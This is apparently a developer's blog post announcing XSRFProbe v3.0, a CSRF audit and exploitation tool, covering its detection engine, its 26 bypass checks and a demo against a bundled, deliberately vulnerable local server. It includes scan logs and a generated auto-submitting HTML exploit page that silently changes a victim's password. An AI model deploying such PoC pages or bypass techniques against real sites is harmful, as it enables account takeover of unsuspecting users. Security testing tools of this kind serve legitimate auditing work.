14 minutes
XSRFProbe v3.0 — A Ground-Up Rewrite
Hey everyone! It’s been a while. I’m really excited to finally push out something that’s been cooking on my machine for way too long – XSRFProbe v3.0.
For those who don’t know, XSRFProbe is a CSRF audit and exploitation toolkit I first released back in 2018. The last stable release, v2.3.1, went out in January 2020. That’s a little over six years of radio silence on the release front. I’ve just released v3, a major rewrite of the detection engine from the ground up. I thought about writing a post where I’ll walk through what the tool is, what changed, the new checks it runs, a live demo against a deliberately vulnerable server, a peek at how it’s built internally, and some closing thoughts.
If you just want to see it in action, skip to the demo.
What is XSRFProbe
XSRFProbe is a Cross Site Request Forgery (CSRF/XSRF) audit and exploitation toolkit written in Python. You point it at a web app, and it goes hunting for forms and state-changing endpoints that can be triggered by an attacker-controlled page. The classic “victim clicks a link and their password silently changes” class of bug.
At a high level it does three things:
- Crawls the target with a built-in engine to discover forms and endpoints.
- Tests each form against a battery of systematic checks for CSRF weaknesses and their bypasses.
- Exploits every proven weakness by generating a working proof-of-concept page you can hand off in a report (maybe not exploitation haha, just PoCs).
CSRF is one of those bugs that sounds simple on paper but is genuinely annoying to test for reliably. A form either has a token or it doesn’t, right? Except the token might be there but never actually validated. Or it’s validated, but not tied to your session. Or it’s tied to a cookie the attacker can write. Or the server only checks the Referer, and that check falls over to a regex trick. XSRFProbe pokes at all of those corner cases automatically.
What Has Changed
To appreciate how much moved in v3, you have to see how v2.3.1 actually worked under the hood. I’m going to be brutally honest about my own old code here, because the contrast is the whole point.
The old way (v2.3.1)
The v2 token detection was, frankly, a substring match. It walked the submitted parameters looking for anything that resembled a known token name (this lived in Token(), called from the entropy routine). If it didn’t find one, it printed this:
print(color.RED+' [-] Endpoint seems '+color.BR+' VULNERABLE '+color.END+color.RED+' to '+color.BR+' POST-Based Request Forgery '+color.END)
To be fair to past me: the engine did submit the form three times, pretending to be three different “users” before it got here. But “does this endpoint have a token” came down to whether a known name showed up as a substring, and this noisy “seems VULNERABLE” line fired the moment it didn’t. There was no notion of whether the server actually validated the token. To make things messier, the entropy routine had its own overlapping verdicts too (Endpoint likely VULNERABLE to CSRF Attacks...), so a single form could get talked about several different ways.
The final “you’re vulnerable” call, the one that actually got logged was funneled into a POST-based check that wasn’t much better. It took the three responses, ran a difflib line diff between them, and decided with this gem:
# If the number of differences of result12 are less than the number of differences
# than result13 then we have the vulnerability. (very basic check)
if len(result12) <= len(result13):
print(color.GREEN + ' [+] CSRF Vulnerability Detected : ' + color.ORANGE + url + '!')
The comment literally says "(very basic check)" and “NOTE: The algorithm has lots of scopes of improvement.” Pure nostalgia.
Past me was not wrong tho. It counted lines of difference and guessed. It had no reliable way to tell whether the server enforced the token, no severity, no session awareness, and no real way to tell a successful submission apart from a page reload.
The new way (v3.0.0)
v3 throws that whole approach out. Instead of guessing, it learns what success looks like for each endpoint and then tries to break it, one variable at a time. The line-count difflib guess is replaced by a self-calibrating response-diffing engine that benchmarks each endpoint before it touches anything. Token “detection” is no longer a substring match – v3 submits a deliberately forged token and watches whether the server actually rejects it. And where v2 had exactly one verdict (“has token / POST diff looks off”), v3 runs a catalog of 26 distinct checks, each independently verified and gated behind a discriminativeness check so it doesn’t cry wolf on pages it can’t reliably tell apart.
The output grew up too. Findings now carry stable test IDs, a HIGH/MEDIUM/LOW severity, and an honest exploitability precondition, instead of a single printed line, you can dump the whole thing to a structured JSON report. There’s a headless Firefox (Selenium) mode for the SameSite bypasses that raw requests simply can’t reproduce, a deterministic and bounded crawler (--max-urls/--max-depth/--crawl-timeout) in place of the old continuous one, and a PoC generator that emits tailored payloads per bypass (auto-submitting forms, iframe, XHR/fetch, method-override and more) rather than one generic form.
Under the hood, a pile of the old modules simply died and got replaced by a cleaner set, i.e. a central orchestrator, a dedicated benchmark/diff engine, typed findings backed by pydantic, and a severity map, alongside heavily rewritten token, crawler, PoC and header-check modules. All told it’s north of 5,000 lines added across the release.
Technicalities of XSRFProbe v3.0
Before it runs a single security check, XSRFProbe does a bit of homework. It confirms the endpoint is actually up as usual, then discovers every form on the page (either from the single URL you gave it or by crawling), resolves each form’s action, method and enctype, and fills the inputs with sensible values so the form can genuinely be submitted.
Then comes the part that everything else hinges on: it submits that form three times with fresh token/session pairs to build a baseline of what success looks like, submits once more with a deliberately corrupted token (if a token is found) to see whether the server actually rejects it, and sends a plain GET to make sure a real submission is even distinguishable from a page load. Only after it has that footing, i.e. a baseline and proof the endpoint behaves differently for good and bad requests, it starts looking for bypasses.
That groundwork is the whole point. v2 effectively ran one check (“is there a token, and does a fuzzy diff look off”). v3 runs a suite of 26 unique tests to test if CSRF protection(s) is in place and if there are ways to bypass them. Here’s the full lineup, grouped by category.
Token presence (D): the baseline checks, but now session-aware:
D1: no anti-CSRF token present anywhere.D2: a login form with no token, i.e. login CSRF (force a victim into an attacker-controlled account).
Token tampering (T): each one tampers with exactly one variable and re-submits:
T2: validation depends on the HTTP method (GET<->POSTswitch).T3: the token can be omitted entirely.T4: the token isn’t tied to the session (a token minted in a fresh, anonymous session is replayed with the victim’s session).T5: the token is tied to a non-session cookie (e.g.csrfKey) that an attacker who can write cookies could control.T6: naive double-submit cookie: the server only checks that the body token equals the cookie token, with no session/crypto binding.T7: an empty token value is accepted.T8: a token carried in a custom request header can be omitted or forged.
Method & Content-Type (M):
M1:_method=POSTon a GET is honoured as a state-changing POST while skipping token validation.M2: anX-HTTP-Method-Overrideheader downgrades the method (only flagged when CORS actually permits it cross-site).M4: the form is accepted without a token under an alternateContent-Type(text/plain,application/json).
Origin validation (O):
O1: server acceptsOrigin: null.O2: server accepts a spoofed subdomain origin (https://target.com.evil-attacker.com).O3: server accepts the request withOriginomitted.
Referer validation (R):
R0: theRefererisn’t validated at all.R1: validation depends on the header being present; omitting it is accepted.R2a/R2b/R2c: regex bypasses with the target placed as a subdomain of the attacker, in the query string, or in the path.
Cookie posture (C):
C1: a cookie’sSameSiteattribute is weak or absent.C2: no cookie on the endpoint carries aSameSiteattribute at all.
Token strength (E, A):
E1: the token matches a structured hash format that suggests predictable generation (bare random hex/base64 is deliberately not flagged, to keep this quiet).A1: a post-scan predictability analysis using Shannon entropy, normalised Levenshtein distance between samples, and shared static prefix.
Browser-based SameSite bypasses (S): these need the --browser (headless Firefox) integration, because you genuinely need a real browser to pull them off:
S2:SameSite=Strictbypassed via a client-side/open-redirect gadget on the target origin.S3:SameSite=Strictbypassed via reflected XSS on a sibling subdomain (subdomains enumerated via crt.sh).S4:SameSite=Laxbypassed via a cookie-refresh / OAuth flow.
There are two additional checks that I’ve already mentioned are the guardrails that make the testing trustworthy. Before any of the body-diff tests run, v3 does a forged-token probe (submit once with a deliberately corrupted token and a valid session – if the server rejects it, the token is genuinely enforced) and a discriminativeness gate (send a plain GET if a forged token and a plain GET both look like “success”, then the tool literally cannot tell a real submission apart from a page load, so it skips the diff-based tests instead of crying wolf). That’s the difference between “probably vulnerable” and “I proved it.”
Quick Demo
v3 ships with test_server.py which is an intentionally vulnerable CSRF server where each endpoint demonstrates a different weakness. Fire it up:
$ python test_server.py
[*] CSRF test server running on http://127.0.0.1:5000/
[*] Press Ctrl+C to stop.
Install XSRFProbe (Python 3.11+) and point it at a single endpoint. One very good example is the /global-token endpoint, which hands out tokens from a global pool that isn’t tied to a single session, a textbook session replay:
$ xsrfprobe -u http://127.0.0.1:5000/global-token --no-verify -v
The banner comes up, and then you get to watch the tool discover the form and builds a success baseline from three real submissions:
--- Benchmark ---
[*] Establishing success baseline for http://127.0.0.1:5000/global-token
[*] Refreshed token field 'csrf_token' with a freshly issued value.
[*] 3 baseline samples | status_code=200/200/200 | body_len=569/569/569
[*] Stable template: 36 token(s) | similarity_threshold=95.0%
[*] [ForgedProbe] field=csrf_token | forged-token response status=403 len=535 | matches benchmark=False | verdict=REJECTED -> token validated
[*] Forged-token probe: REJECTED (response diverged from baseline)
[*] Plain-GET probe: status=200 body_similarity=77.9% -> differs from baseline
[*] Verdict: DISCRIMINATIVE (forged_rejected=True, get_differs=True)
Notice what happened there: the forged token got a 403, so the server does validate tokens, and the baseline is discriminative. Only now does it bother running the tamper tests, and this is where the endpoint falls over:
--- Token Tamper Tests ---
[*] [T2] Request method switch bypass................. completed (failed)
[*] [T3] Token removal bypass......................... completed (failed)
[*] [T7] Empty token value bypass..................... completed (failed)
[*] [T4] Trying cross-session token replay bypass...
[!] WARNING: [T4] VULNERABLE: Server accepted token from a different session.
[*] [T4] Cross-session token replay................... completed (VULNERABLE)
T2, T3 and T7 all correctly failed (the server does enforce the token), but T4 nailed it: a token minted in a throwaway session was happily accepted with the victim’s session. That’s a real, exploitable bug, and it’s a finding the old line-counting engine could never have isolated.
The run continues through the Referer, Origin, Cookie and Encoding phases, then generates a PoC and finishes with the post-scan token analysis, which, correctly, decides these tokens are actually strong:
--- Analysis ---
[*] [Analysis] Pairwise normalised edit distance over 91 pair(s): min=0.781, avg=0.886, max=0.969
[*] [Analysis] Token field 'csrf_token' appears strong: min edit distance 0.78 >= 0.50 and dynamic component ~31 chars > 6.
Crawling the whole thing
Point it at the site root with --crawl and it’ll walk every endpoint and roll everything up into a summary table at the end:
--- Summary ---
URLs scanned: 9 | Forms tested: 8 | Duration: 0.29s
http://127.0.0.1:5000/global-token
┌────────┬─────┬────────────────────────────────────────────────────────────────┬───────────┐
│ Sev │ ID │ Vulnerability │ PoC │
├════════┼═════┼════════════════════════════════════════════════════════════════┼═══════════┤
│ HIGH │ T4 │ CSRF token is not tied to user session (global token pool). │ Generated │
│ MEDIUM │ O1 │ Origin validation bypassed with Origin: null. │ - │
│ MEDIUM │ R1 │ Referer validation bypassed by omitting the header entirely. │ - │
│ LOW │ C2 │ No cookies with SameSite attribute detected. │ - │
└────────┴─────┴────────────────────────────────────────────────────────────────┴───────────┘
The generated PoC
For every proven bypass, XSRFProbe writes a tailored exploit page. Here’s the auto-submitting POST PoC it generated for the weak-token form - drop this on a server, get a victim to open it, and their request fires with zero interaction:
<html>
<!-- Generated by XSRFProbe (https://github.com/0xInfection/XSRFProbe) -->
<head><title>CSRF POST PoC</title></head>
<body>
<script>history.pushState('', '', '/');</script>
<form id="csrfform" action="http://127.0.0.1:5000/global-token" method="POST"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="csrf_token" value="2be145b25f6ab1f5c9c7cb578975a4af" />
<input type="hidden" name="new_password" value="csrftesting" />
<input type="submit" value="Submit" />
</form>
<script>document.getElementById('csrfform').submit();</script>
</body>
</html>
Depending on the finding, XSRFProbe will also cook up iframe, XHR/fetch, method-override, Content-Type and double-submit-cookie variants. And with --browser --auto-validate-poc, each PoC is opened in headless Firefox and re-checked against the success baseline to confirm it actually fires.
The JSON report
Pass --json and you get a machine-readable report you can pipe into other tooling:
{
"url": "http://127.0.0.1:5000/no-token",
"findings": [
{
"test_id": "D1",
"description": "No anti-CSRF token present. Endpoint is vulnerable to request forgery.",
"severity": "high",
"details": {
"action": "http://127.0.0.1:5000/no-token",
"method": "POST",
"exploitability": "Modern browsers default cookies to SameSite=Lax, which already blocks cross-site POSTs; primarily exploitable via top-level GET side effects, cookies explicitly set to SameSite=None, or non-browser/legacy clients."
},
"poc_paths": [
"xsrfprobe-output/127.0.0.1/127.0.0.1-5000-no-token-post-auto.html"
]
}
]
}
Every finding carries its severity and an honest note about what it actually takes to exploit it. No hand-waving.
How It Was Written
A few notes on the internals, for anyone who like reading source-code.
The codebase is split cleanly into three areas: the engine (request layer, diff engine, orchestration, logging, options), the individual check modules (token tampering, origin, referer, cookies, encoding, analysis, browser, PoC generation, parsing and crawling), and the data/config (token and param name lists, hash-encoding signatures, the severity map).
The heart of it is the diff engine. For each endpoint it fetches the form three times with fresh token/session pairs, strips out the volatile bits (numbers, long hex strings, <script>/<style> blocks), and intersects the tokens common to all three responses to build a stable “template” of what success looks like. Matching is done with Python’s difflib.SequenceMatcher (the Ratcliff-Obershelp ratio), and here’s the part I love about the design, the pass threshold is auto-calibrated per endpoint. It scores each baseline sample against the consolidated template and sets the bar a small margin below the worst self-match, clamped between 50% and 98%. A near-static page gets a strict cutoff; a dynamic one gets a looser one. No single global magic number that’s wrong for half the internet.
On top of that sits the orchestrator, which runs the pipeline I described earlier: Form Discovery → Benchmark → Forged-Token Probe → Discriminativeness Gate → Test Execution → PoC → Post-Scan Analysis. Tokens discovered while testing one form live in a fresh per-form store so they can’t leak into another form’s tests, a subtle bug source I wanted to design out entirely.
Findings are modelled as typed pydantic objects, which is what makes the JSON report and the severity/exploitability grading clean instead of a pile of dictionaries. The browser tests lean on Selenium driving headless Firefox, because the SameSite bypasses genuinely can’t be reproduced with raw requests, you need a real cookie jar and a real redirect chain.
The whole thing still stands on the shoulders of requests for HTTP and BeautifulSoup for parsing, with rapidfuzz added for the faster string-distance math in the diff and token analysis. It’s Python 3.10+ only now. I finally dropped the Python 2 compatibility baggage that had been rotting in the tree.
If you want the full tour, the wiki has a dedicated XSRFProbe Internals page that documents the scan pipeline and every single check in detail.
Final Words
v3 was less “add features” and more “go back and do it properly.” The old engine worked well enough to be useful for years, but it guessed a lot, and it lied often enough that you had to babysit its output. v3 is built around a simple principle: don’t declare something vulnerable until you’ve actually broken it and can hand someone a PoC that proves it.
The usual disclaimer stands, and it matters more than ever with this release: don’t run this on a live site. XSRFProbe submits forms for real, viz. it’ll change passwords, delete accounts, and generally wreck a database if you let it loose somewhere it shouldn’t be. Test it against a disposable setup or the bundled test_server.py.
XSRFProbe is on PyPI (pip install xsrfprobe) and the source is on GitHub. Issues, ideas and pull requests are always welcome – a couple of the fixes that made it into this line came from the community, and I’m grateful for every one of them. XSRFProbe is currently sitting at 1.3k stars on GitHub!
That’s all folks. Thanks for sticking around through a six-year gap between releases. Cheers! 🥂
2926 Words
2026-07-12 00:00